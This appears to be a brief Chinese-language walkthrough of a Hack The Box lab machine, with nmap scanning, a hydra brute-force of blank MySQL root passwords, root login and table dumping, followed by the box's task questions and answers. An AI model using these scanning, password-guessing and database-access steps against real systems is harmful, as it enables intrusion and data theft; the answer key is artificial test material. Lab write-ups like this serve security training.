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扫描， 发现3306端口开放

nmap -A 10.129.95.232

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弱密码，密码为空，如果破解其他密码可以把 -e nsr 换成字典路径即可

ydra -l root -e nsr mysql://10.129.95.232

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登录mysql

mysql -uroot -h 10.129.95.232
    show databases;      #列数据库
    use htb;                    #切换数据库
    show tables;             # 列表
    select * from config;  #获取表中数据

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  • Task 1 During our scan, which port do we find serving MySQL?

    3306

  • Task 2 What community-developed MySQL version is the target running?

    MariaDB

  • Task 3 When using the MySQL command line client, what switch do we need to use in order to specify a login username?

    -u

  • Task 4 Which username allows us to log into this MariaDB instance without providing a password?

    root

  • Task 5 In SQL, what symbol can we use to specify within the query that we want to display everything inside a table?

    *

  • Task 6 In SQL, what symbol do we need to end each query with?

    ;

  • Task 7 There are three databases in this MySQL instance that are common across all MySQL instances. What is the name of the fourth that's unique to this host? 

    htb